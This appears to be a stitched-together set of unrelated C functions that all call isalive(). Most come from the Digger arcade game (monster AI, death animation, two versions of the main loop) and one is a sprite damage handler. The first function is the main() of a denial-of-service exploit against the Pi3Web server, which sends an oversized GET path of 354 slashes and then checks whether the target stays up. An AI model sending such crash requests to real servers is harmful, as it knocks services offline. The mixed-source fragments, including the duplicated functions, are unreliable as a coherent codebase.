void main(int argc,char *argv[]) { WSADATA ws; if (WSAStartup( MAKEWORD(1,1), &ws )!=0) { printf(" [+] WSAStartup() error\n"); exit(0); } printf("\n . .. ...:Pi3Web Denial of Service ([email protected]) :... ..\n\n"); if ((argc!=2) && (argc!=3)) usage(); strcpy(ip,argv[1]); if (argc==3) port=atoi(argv[2]); memset(evilrequest,0,512); memset(evilbuffer,0,1024); memset(evilrequest,'/',354); //sprintf(evilbuffer, "GET %s\r\n",evilrequest); sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: %s\r\n\r\n\r\n",evilrequest,argv[2]); if (isalive(1)) { sleep(1000); isalive(0);} }
void checklevdone(void) { if ((countem()==0 || monleft()==0) && isalive()) gamedat[curplayer].levdone=true; else gamedat[curplayer].levdone=false; }
void domonsters(void) { Sint4 i; if (nextmontime>0) nextmontime--; else { if (nextmonster<totalmonsters && nmononscr()<maxmononscr && isalive() && !bonusmode) createmonster(); if (unbonusflag && nextmonster==totalmonsters && nextmontime==0) if (isalive()) { unbonusflag=false; createbonus(); } } for (i=0;i<MONSTERS;i++) if (mondat[i].flag) { if (mondat[i].hnt>10-levof10()) { if (mondat[i].nob) { mondat[i].nob=false; mondat[i].hnt=0; } } if (mondat[i].alive) if (mondat[i].t==0) { monai(i); if (randno(15-levof10())==0) /* Need to split for determinism */ if (mondat[i].nob && mondat[i].alive) monai(i); } else mondat[i].t--; else mondie(i); } }
void Mob::applydamage(int32_t damage, bool toleft) { hitsound.play(); if (dying && stance != DIE) { applydeath(); } else if (control && isalive() && damage >= knockback) { flip = toleft; counter = 170; setstance(HIT); updatemovement(); awaitdeath = true; } }
void monai(Sint4 mon) { Sint4 monox,monoy,dir,mdirp1,mdirp2,mdirp3,mdirp4,t; int clcoll[SPRITES],clfirst[TYPES],i,m,dig; bool push,bagf; monox=mondat[mon].x; monoy=mondat[mon].y; if (mondat[mon].xr==0 && mondat[mon].yr==0) { /* If we are here the monster needs to know which way to turn next. */ /* Turn hobbin back into nobbin if it's had its time */ if (mondat[mon].hnt>30+(levof10()<<1)) if (!mondat[mon].nob) { mondat[mon].hnt=0; mondat[mon].nob=true; } /* Set up monster direction properties to chase Digger */ dig=mondat[mon].chase; if (!digalive(dig)) dig=(diggers-1)-dig; if (abs(diggery(dig)-mondat[mon].y)>abs(diggerx(dig)-mondat[mon].x)) { if (diggery(dig)<mondat[mon].y) { mdirp1=DIR_UP; mdirp4=DIR_DOWN; } else { mdirp1=DIR_DOWN; mdirp4=DIR_UP; } if (diggerx(dig)<mondat[mon].x) { mdirp2=DIR_LEFT; mdirp3=DIR_RIGHT; } else { mdirp2=DIR_RIGHT; mdirp3=DIR_LEFT; } } else { if (diggerx(dig)<mondat[mon].x) { mdirp1=DIR_LEFT; mdirp4=DIR_RIGHT; } else { mdirp1=DIR_RIGHT; mdirp4=DIR_LEFT; } if (diggery(dig)<mondat[mon].y) { mdirp2=DIR_UP; mdirp3=DIR_DOWN; } else { mdirp2=DIR_DOWN; mdirp3=DIR_UP; } } /* In bonus mode, run away from Digger */ if (bonusmode) { t=mdirp1; mdirp1=mdirp4; mdirp4=t; t=mdirp2; mdirp2=mdirp3; mdirp3=t; } /* Adjust priorities so that monsters don't reverse direction unless they really have to */ dir=reversedir(mondat[mon].dir); if (dir==mdirp1) { mdirp1=mdirp2; mdirp2=mdirp3; mdirp3=mdirp4; mdirp4=dir; } if (dir==mdirp2) { mdirp2=mdirp3; mdirp3=mdirp4; mdirp4=dir; } if (dir==mdirp3) { mdirp3=mdirp4; mdirp4=dir; } /* Introduce a random element on levels <6 : occasionally swap p1 and p3 */ if (randno(levof10()+5)==1) /* Need to split for determinism */ if (levof10()<6) { t=mdirp1; mdirp1=mdirp3; mdirp3=t; } /* Check field and find direction */ if (fieldclear(mdirp1,mondat[mon].h,mondat[mon].v)) dir=mdirp1; else if (fieldclear(mdirp2,mondat[mon].h,mondat[mon].v)) dir=mdirp2; else if (fieldclear(mdirp3,mondat[mon].h,mondat[mon].v)) dir=mdirp3; else if (fieldclear(mdirp4,mondat[mon].h,mondat[mon].v)) dir=mdirp4; /* Hobbins don't care about the field: they go where they want. */ if (!mondat[mon].nob) dir=mdirp1; /* Monsters take a time penalty for changing direction */ if (mondat[mon].dir!=dir) mondat[mon].t++; /* Save the new direction */ mondat[mon].dir=dir; } /* If monster is about to go off edge of screen, stop it. */ if ((mondat[mon].x==292 && mondat[mon].dir==DIR_RIGHT) || (mondat[mon].x==12 && mondat[mon].dir==DIR_LEFT) || (mondat[mon].y==180 && mondat[mon].dir==DIR_DOWN) || (mondat[mon].y==18 && mondat[mon].dir==DIR_UP)) mondat[mon].dir=DIR_NONE; /* Change hdir for hobbin */ if (mondat[mon].dir==DIR_LEFT || mondat[mon].dir==DIR_RIGHT) mondat[mon].hdir=mondat[mon].dir; /* Hobbins dig */ if (!mondat[mon].nob) eatfield(mondat[mon].x,mondat[mon].y,mondat[mon].dir); /* (Draw new tunnels) and move monster */ switch (mondat[mon].dir) { case DIR_RIGHT: if (!mondat[mon].nob) drawrightblob(mondat[mon].x,mondat[mon].y); mondat[mon].x+=4; break; case DIR_UP: if (!mondat[mon].nob) drawtopblob(mondat[mon].x,mondat[mon].y); mondat[mon].y-=3; break; case DIR_LEFT: if (!mondat[mon].nob) drawleftblob(mondat[mon].x,mondat[mon].y); mondat[mon].x-=4; break; case DIR_DOWN: if (!mondat[mon].nob) drawbottomblob(mondat[mon].x,mondat[mon].y); mondat[mon].y+=3; break; } /* Hobbins can eat emeralds */ if (!mondat[mon].nob) hitemerald((mondat[mon].x-12)/20,(mondat[mon].y-18)/18, (mondat[mon].x-12)%20,(mondat[mon].y-18)%18, mondat[mon].dir); /* If Digger's gone, don't bother */ if (!isalive()) { mondat[mon].x=monox; mondat[mon].y=monoy; } /* If monster's just started, don't move yet */ if (mondat[mon].stime!=0) { mondat[mon].stime--; mondat[mon].x=monox; mondat[mon].y=monoy; } /* Increase time counter for hobbin */ if (!mondat[mon].nob && mondat[mon].hnt<100) mondat[mon].hnt++; /* Draw monster */ push=true; drawmon(mon,mondat[mon].nob,mondat[mon].hdir,mondat[mon].x,mondat[mon].y); for (i=0;i<TYPES;i++) clfirst[i]=first[i]; for (i=0;i<SPRITES;i++) clcoll[i]=coll[i]; incpenalty(); /* Collision with another monster */ if (clfirst[2]!=-1) { mondat[mon].t++; /* Time penalty */ /* Ensure both aren't moving in the same dir. */ i=clfirst[2]; do { m=i-FIRSTMONSTER; if (mondat[mon].dir==mondat[m].dir && mondat[m].stime==0 && mondat[mon].stime==0) mondat[m].dir=reversedir(mondat[m].dir); /* The kludge here is to preserve playback for a bug in previous versions. */ if (!kludge) incpenalty(); else if (!(m&1)) incpenalty(); i=clcoll[i]; } while (i!=-1); if (kludge) if (clfirst[0]!=-1) incpenalty(); } /* Check for collision with bag */ i=clfirst[1]; bagf=false; while (i!=-1) { if (bagexist(i-FIRSTBAG)) { bagf=true; break; } i=clcoll[i]; } if (bagf) { mondat[mon].t++; /* Time penalty */ mongotgold=false; if (mondat[mon].dir==DIR_RIGHT || mondat[mon].dir==DIR_LEFT) { push=pushbags(mondat[mon].dir,clfirst,clcoll); /* Horizontal push */ mondat[mon].t++; /* Time penalty */ } else if (!pushudbags(clfirst,clcoll)) /* Vertical push */ push=false; if (mongotgold) /* No time penalty if monster eats gold */ mondat[mon].t=0; if (!mondat[mon].nob && mondat[mon].hnt>1) removebags(clfirst,clcoll); /* Hobbins eat bags */ } /* Increase hobbin cross counter */ if (mondat[mon].nob && clfirst[2]!=-1 && isalive()) mondat[mon].hnt++; /* See if bags push monster back */ if (!push) { mondat[mon].x=monox; mondat[mon].y=monoy; drawmon(mon,mondat[mon].nob,mondat[mon].hdir,mondat[mon].x,mondat[mon].y); incpenalty(); if (mondat[mon].nob) /* The other way to create hobbin: stuck on h-bag */ mondat[mon].hnt++; if ((mondat[mon].dir==DIR_UP || mondat[mon].dir==DIR_DOWN) && mondat[mon].nob) mondat[mon].dir=reversedir(mondat[mon].dir); /* If vertical, give up */ } /* Collision with Digger */ if (clfirst[4]!=-1 && isalive()) if (bonusmode) { killmon(mon); i=clfirst[4]; while (i!=-1) { if (digalive(i-FIRSTDIGGER+curplayer)) sceatm(i-FIRSTDIGGER+curplayer); i=clcoll[i]; } soundeatm(); /* Collision in bonus mode */ } else { i=clfirst[4]; while (i!=-1) { if (digalive(i-FIRSTDIGGER+curplayer)) killdigger(i-FIRSTDIGGER+curplayer,3,0); /* Kill Digger */ i=clcoll[i]; } } /* Update co-ordinates */ mondat[mon].h=(mondat[mon].x-12)/20; mondat[mon].v=(mondat[mon].y-18)/18; mondat[mon].xr=(mondat[mon].x-12)%20; mondat[mon].yr=(mondat[mon].y-18)%18; }
static void diggerdie(struct digger_draw_api *ddap, int n) { int clfirst[TYPES],clcoll[SPRITES],i; bool alldead; switch (digdat[n].deathstage) { case 1: if (bagy(digdat[n].deathbag)+6>digdat[n].dob.y) digdat[n].dob.y=bagy(digdat[n].deathbag)+6; drawdigger(n-curplayer,15,digdat[n].dob.x,digdat[n].dob.y,false); incpenalty(); if (getbagdir(digdat[n].deathbag)+1==0) { soundddie(); digdat[n].deathtime=5; digdat[n].deathstage=2; digdat[n].deathani=0; digdat[n].dob.y-=6; } break; case 2: if (digdat[n].deathtime!=0) { digdat[n].deathtime--; break; } if (digdat[n].deathani==0) music(2); drawdigger(n-curplayer,14-digdat[n].deathani,digdat[n].dob.x,digdat[n].dob.y, false); for (i=0;i<TYPES;i++) clfirst[i]=first[i]; for (i=0;i<SPRITES;i++) clcoll[i]=coll[i]; incpenalty(); if (digdat[n].deathani==0 && clfirst[2]!=-1) killmonsters(clfirst,clcoll); if (digdat[n].deathani<4) { digdat[n].deathani++; digdat[n].deathtime=2; } else { digdat[n].deathstage=4; if (musicflag || diggers>1) digdat[n].deathtime=60; else digdat[n].deathtime=10; } break; case 3: digdat[n].deathstage=5; digdat[n].deathani=0; digdat[n].deathtime=0; break; case 5: if (digdat[n].deathani>=0 && digdat[n].deathani<=6) { drawdigger(n-curplayer,15,digdat[n].dob.x, digdat[n].dob.y-deatharc[digdat[n].deathani],false); if (digdat[n].deathani==6 && !isalive()) musicoff(); incpenalty(); digdat[n].deathani++; if (digdat[n].deathani==1) soundddie(); if (digdat[n].deathani==7) { digdat[n].deathtime=5; digdat[n].deathani=0; digdat[n].deathstage=2; } } break; case 4: if (digdat[n].deathtime!=0) digdat[n].deathtime--; else { digdat[n].dead=true; alldead=true; for (i=0;i<diggers;i++) if (!digdat[i].dead) { alldead=false; break; } if (alldead) setdead(true); else if (isalive() && digdat[n].lives>0) { if (!gauntlet) digdat[n].lives--; drawlives(ddap); if (digdat[n].lives>0) { digdat[n].v=9; digdat[n].mdir=4; digdat[n].h=(diggers==1) ? 7 : (8-n*2); digdat[n].dob.x=digdat[n].h*20+12; digdat[n].dob.dir=(n==0) ? DIR_RIGHT : DIR_LEFT; digdat[n].rx=0; digdat[n].ry=0; digdat[n].bagtime=0; digdat[n].dob.alive=true; digdat[n].dead=false; digdat[n].invin=true; digdat[n].ivt=50; digdat[n].deathstage=1; digdat[n].dob.y=digdat[n].v*18+18; erasespr(n+FIRSTDIGGER-curplayer); CALL_METHOD(&digdat[n].dob, put); digdat[n].notfiring=true; digdat[n].emocttime=0; digdat[n].firepressed=false; digdat[n].bob.expsn=0; digdat[n].rechargetime=0; digdat[n].emn=0; digdat[n].msc=1; } clearfire(n); if (bonusmode) music(0); else music(1); } } } }
void dodigger(struct digger_draw_api *ddap) { int n; int16_t tdir; newframe(); if (gauntlet) { drawlives(ddap); if (cgtime<ftime) timeout=true; cgtime-=ftime; } for (n=curplayer;n<diggers+curplayer;n++) { if (digdat[n].bob.expsn!=0) drawexplosion(n); else updatefire(ddap, n); if (digvisible) { if (digdat[n].dob.alive) if (digdat[n].bagtime!=0) { tdir = digdat[n].dob.dir; digdat[n].dob.dir = digdat[n].mdir; drawdig(n); digdat[n].dob.dir = tdir; incpenalty(); digdat[n].bagtime--; } else updatedigger(ddap, n); else diggerdie(ddap, n); } if (digdat[n].emocttime>0) digdat[n].emocttime--; } if (bonusmode && isalive()) { if (bonustimeleft!=0) { bonustimeleft--; if (startbonustimeleft!=0 || bonustimeleft<20) { startbonustimeleft--; if (bonustimeleft&1) { ddap->ginten(0); soundbonus(); } else { ddap->ginten(1); soundbonus(); } if (startbonustimeleft==0) { music(0); soundbonusoff(); ddap->ginten(1); } } } else { endbonusmode(ddap); soundbonusoff(); music(1); } } if (bonusmode && !isalive()) { endbonusmode(ddap); soundbonusoff(); music(1); } }
void dodigger(void) { int n; newframe(); if (gauntlet) { drawlives(); if (cgtime<ftime) timeout=TRUE; cgtime-=ftime; } for (n=curplayer;n<diggers+curplayer;n++) { if (digdat[n].expsn!=0) drawexplosion(n); else updatefire(n); if (digvisible) if (digdat[n].alive) if (digdat[n].bagtime!=0) { drawdig(n,digdat[n].mdir,digdat[n].x,digdat[n].y, digdat[n].notfiring && digdat[n].rechargetime==0); incpenalty(); digdat[n].bagtime--; } else updatedigger(n); else diggerdie(n); if (digdat[n].emocttime>0) digdat[n].emocttime--; } if (bonusmode && isalive()) { if (bonustimeleft!=0) { bonustimeleft--; if (startbonustimeleft!=0 || bonustimeleft<20) { startbonustimeleft--; if (bonustimeleft&1) { ginten(0); soundbonus(); } else { ginten(1); soundbonus(); } if (startbonustimeleft==0) { music(0); soundbonusoff(); ginten(1); } } } else { endbonusmode(); soundbonusoff(); music(1); } } if (bonusmode && !isalive()) { endbonusmode(); soundbonusoff(); music(1); } }